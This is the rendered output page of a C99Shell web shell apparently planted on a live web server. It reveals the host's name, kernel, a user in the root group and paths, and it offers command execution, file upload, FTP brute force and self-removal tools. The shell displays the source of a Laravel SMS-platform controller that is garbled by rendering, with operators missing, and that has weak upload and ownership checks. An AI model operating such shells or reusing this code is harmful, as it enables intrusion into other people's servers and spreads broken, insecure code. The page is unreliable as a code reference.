!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DLTTemplateController.php (14.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Models\DLTTemplate;
use 
App\Models\SenderId;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;
use 
Maatwebsite\Excel\Facades\Excel;
use 
App\Imports\DLTTemplateImport;

class 
DLTTemplateController extends Controller
{
    public function 
index(){
        return 
view('customer.dlt_template.index');
    }
    public function 
getAll()
    {
        
$customers auth('customer')->user()->dlt_template()->select(['id''name','dlt_template_id','category''status']);
        return 
datatables()->of($customers)
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'active') {
                    
$status '<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                } else {
                    
$status '<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                }
                return 
$status;
            })
            ->
addColumn('action', function ($q) {

                return 
"<a class='btn btn-sm btn-info' href='" route('customer.dlt.template.edit', [$q->id]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this Template?"
                                        data-action=' 
route('customer.dlt.template.destroy', [$q->id]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
;
            })
            ->
rawColumns(['action''status'])
            ->
toJson();
    }
    public function 
create(){
        
$data['senderIds']=  auth('customer')->user()->sender_ids()->where('is_dlt','yes')->where('status','approved')->where('expire_date','>'now())->get();
        return 
view('customer.dlt_template.create',$data);
    }
    public function 
store(Request $request){

        
$request->validate([
            
'name' => 'required|unique:d_l_t_templates,name',
            
'status' => 'required|in:active,inactive',
            
'category' => 'required|in:transactional,service_inferred,service_explicit,promational',
        ]);
        
        
$template = new DLTTemplate();
        
$template->name $request->name;
        
$template->customer_id auth('customer')->user()->id;
        
$template->dlt_template_id $request->dlt_template_id;
        
$template->category $request->category;
        
$template->header_id $request->header_id;
        
$template->entity_id $request->entity_id;
        
$template->status $request->status;
        
$template->message $request->message;
        
$template->save();

        return 
redirect()->route('customer.dlt.template')->with('success'trans('customer.dlt_template_created'));

    }
    public function 
edit($id){
        
$data['senderIds']=  auth('customer')->user()->sender_ids()->where('is_dlt','yes')->where('status','approved')->where('expire_date','>'now())->get();
        
$data['dlt_template']= auth('customer')->user()->dlt_template()->where('id',$id)->firstOrFail();
        return 
view('customer.dlt_template.edit',$data);
    }
    public function 
update(Request $request,$id){


        
$request->validate([
            
'name' => 'required|unique:d_l_t_templates,name,' $id,
            
'status' => 'required|in:active,inactive',
            
'category' => 'required|in:transactional,service_inferred,service_explicit,promational',
        ]);

        
$template DLTTemplate::where('id',$id)->firstOrFail();
        
$template->name $request->name;
        
$template->customer_id auth('customer')->user()->id;
        
$template->dlt_template_id $request->dlt_template_id;
        
$template->category $request->category;
        
$template->header_id $request->header_id;
        
$template->entity_id $request->entity_id;
        
$template->status $request->status;
        
$template->message $request->message;
        
$template->update();

        return 
redirect()->route('customer.dlt.template')->with('success'trans('customer.dlt_template_updated'));
    }
    public function 
destroy($id){
        
        
$template DLTTemplate::where('id',$id)->firstOrFail();
        
$template->delete();

        return 
redirect()->route('customer.dlt.template')->with('success'trans('customer.dlt_template_deleted'));

    }
    public function 
checkTemplateName(Request $request)
    {
        
$name $request->name;
        
$exists DLTTemplate::where('name'$name)->exists();

        return 
response()->json(['exists' => $exists]);
    }
    public function 
import_store(Request $request)
    {
        if (
env("APP_DEMO")) {
            return 
redirect()->back()->withErrors(['msg' => trans('admin.app_demo_message')]);
        }
    
        
DB::beginTransaction();
    
        try {
            
$request->validate([
                
'import_template' => 'required|file|mimes:csv,xlsx,xls|max:2048',
            ]);
            
            
$customRequestData $request->only('name''customer_id''dlt_template_id''header_id''entity_id''category''message');
    
            if (
$request->hasFile('import_template')) {
                
$data $request->file('import_template');
    
                
$fileName 'test.' $data->getClientOriginalExtension();
                
$data->move(public_path('uploads'), $fileName);
                
$file_url public_path('uploads/' $fileName);
    
                
$extension $data->getClientOriginalExtension();
                
$importType \Maatwebsite\Excel\Excel::CSV
    
                if (
$extension === 'xlsx') {
                    
$importType \Maatwebsite\Excel\Excel::XLSX;
                } elseif (
$extension === 'xls') {
                    
$importType \Maatwebsite\Excel\Excel::XLS;
                }
                
Excel::import(new DLTTemplateImport(auth('customer')->user(), null$customRequestData), $file_url);
                
DB::commit();
                return 
redirect()->back()->with('success''Import successful!');
            } else {
                return 
redirect()->back()->withErrors(['msg' => 'No file uploaded.']);
            }
        } catch (
\Exception $ex) {
            
DB::rollBack();
            return 
redirect()->back()->withErrors(['msg' => $ex->getMessage()]);
        }
    }
    public function 
headerIdRequest(){
        return 
view('customer.dlt_template.headerId');
    }
    public function 
headerIdRequestStore(Request $request){

        
$request->validate([
            
'header_id' => 'required|unique:sender_ids,sender_id',
            
'entity_id' => 'required',
        ]);

        
$user_id auth('customer')->user()->id;
        
$header = new SenderId();
        
$header->sender_id $request->header_id;
        
$header->entity_id $request->entity_id;
        
$header->description $request->description;
        
$header->customer_id $user_id;
        
$header->is_dlt 'yes';

        if (
$request->hasFile('attach_documents')) {
            
$file $request->file('attach_documents');
            
$filename time() . '_' $file->getClientOriginalName();
            
$file->move(public_path('uploads'), $filename); 
            
$header->attach_documents $filename;
        }

        
$header->save();

        return 
redirect()->route('customer.headerid.request')->with('success'trans('Header ID Successfully Created'));
    }
    public function 
getAllheaderIdRequest()
    {
        
$authUser=auth('customer')->user();
        if(!
$authUser){
            
$senders SenderId::where('is_dlt','yes')->select(['id','customer_id''is_paid','sender_id''status','dynamic_gateway_id','expire_date','is_dlt','description','entity_id'])->orderByDesc('created_at');
        }else{

            
$senders =$authUser->sender_ids()->orderByDesc('created_at')->where('customer_id'$authUser->id)->where('is_dlt','yes')->select(['id','customer_id','is_paid''sender_id''status','dynamic_gateway_id','expire_date','is_dlt','description','entity_id']);
        }

        return 
datatables()->of($senders)
            ->
addColumn('from',function(SenderId $q){
                if(
$q->status=='approved'){
                    
$gateway=$q->gateway->name;
                    return 
$gateway;
                }
            })
            ->
addColumn('status',function(SenderId $q){
                if(
$q->status == 'review'){
                    return 
'Not paid Yet';
                }else if(
$q->status=='review_pending'){
                    return 
'Review Payment';
                }else{
                    return 
ucfirst($q->status);
                }
            })
            ->
addColumn('expire_date',function(SenderId $q){
                if (
$q->expire_date) {
                    return 
formatDate($q->expire_date);
                }else{
                    return;
                }
            })
            ->
addColumn('status',function(SenderId $q){
                
$status='';
                if (
$q->status=='approved') {
                    
$status='<span class="badge badge-success">Approved</span>';
                }else if (
$q->status=='pending') {
                    
$status='<span class="badge badge-danger">Pending</span>';
                }else if (
$q->status=='rejected') {
                    
$status='<span class="badge badge-danger">Rejected</span>';
                }else if (
$q->status=='review') {
                    
$status='<span class="badge badge-info">Review</span>';
                }else if (
$q->status=='review_pending') {
                    
$status='<span class="badge badge-success">Waiting For Review</span>';
                }

                return 
$status;
            })
            ->
addColumn('action',function(SenderId $q){
                
$buyBtn='';
                
$senderIdPrice = isset(json_decode(get_settings('senderid_price'))->sender_id_price) ? json_decode(get_settings('senderid_price'))->sender_id_price 0;
                if(
$q->status == "review" && $q->is_paid == "no") {
                    if (
\Module::has('PaymentGateway') && \Module::find('PaymentGateway')->isEnabled() && $senderIdPrice 0) {
                        
$buyBtn '<button class="btn btn-sm btn-info mr-2" data-message="Are you sure you want to buy <b>\'' $q->sender_id '\'</b> ?"
                                        data-action=' 
route('paymentgateway::sender.id.process') . '
                                        data-input={"id":"' 
$q->id '"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Buy</button>'
;
                    } else {
                        
$buyBtn '<button class="btn btn-sm btn-info mr-2" data-message="Are you sure you want to buy <b>\'' $q->sender_id '\'</b> for <b>'.formatNumberWithCurrSymbol($senderIdPrice).'</b> ?"
                                        data-action=' 
route('customer.buy.sender.id') . '
                                        data-input={"id":"' 
$q->id '","_method":"post"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Buy ('
.formatNumberWithCurrSymbol($senderIdPrice).')</button>';
                    }
                }

                if(
$q->status == "approved" && $q->is_paid == "yes" && ($q->expire_date <= now())){
                    if (
\Module::has('PaymentGateway') && \Module::find('PaymentGateway')->isEnabled()) {
                        
$buyBtn '<button class="btn btn-sm btn-info mr-2" data-message="Are you sure you want to renew <b>\'' $q->sender_id '\'</b> ?"
                                        data-action=' 
route('paymentgateway::sender.id.process') . '
                                        data-input={"id":"' 
$q->id '"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Renew</button>'
;
                    }
                }


                if(
$q->status == "pending"){
                    if(
$q->customer_id == auth('customer')->user()->id){
                        
$edit='<a href="#" data-description="'.$q->description.'" data-entity_id="'.$q->entity_id.'" data-senderid="'.$q->sender_id.'" data-url="'.route('customer.headerid.request.update', [$q]).'" class="btn btn-sm btn-info edit" >Edit</a>';
                    }else{
                        
$edit='&nbsp;&nbsp;  &nbsp;&nbsp;';
                    }
                return
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this sender Id?"
                                         data-action='
.route('customer.sender-id.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                         data-toggle="modal" data-target="#modal-confirm">Delete</button>'
.'&nbsp;&nbsp;'$edit;
                } return 
$buyBtn.'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this sender Id?"
                                         data-action='
.route('customer.sender-id.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                         data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
rawColumns(['action','status','from','expire_date'])
            ->
toJson();
    }
    public function 
updateheaderIdRequest(SenderId $header_idRequest $request)
    {

        if(
$header_id->status !='pending'){
            return 
redirect()->back()->withErrors(['failed' => trans('customer.messages.senderid_pending')])->withInput();
        }

        
DB::beginTransaction();

        try {
            
$request->validate([
                
'header_id' => 'required|unique:sender_ids,sender_id,' $header_id->id,
            
'entity_id' => 'required',
            ]);
            
$header_id->sender_id $request->header_id;
            
$header_id->entity_id $request->entity_id;
            
$header_id->description $request->description;
            if (
$request->hasFile('attach_documents')) {
                
$file $request->file('attach_documents');
                
$imageName time() . '_1.' $file->getClientOriginalExtension();
            
                if (isset(
$header_id) && !empty($header_id->attach_documents)) {
                    
$file_path public_path('/uploads/') . $header_id->attach_documents;
                    if (
File::exists($file_path)) {
                        
File::delete($file_path); 
                    }
                }
            
                
$file->move(public_path('/uploads'), $imageName);
                
$header->attach_documents $imageName
            }
            
            
$header_id->update();

            
DB::commit();
            return 
redirect()->route('customer.headerid.request')->with('success'trans('Header ID Successfully Updated'));
        } catch (
\Throwable $ex) {
            
DB::rollback();
            return 
redirect()->back()->withErrors(['failed' => $ex->getMessage()])->withInput();
        }

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--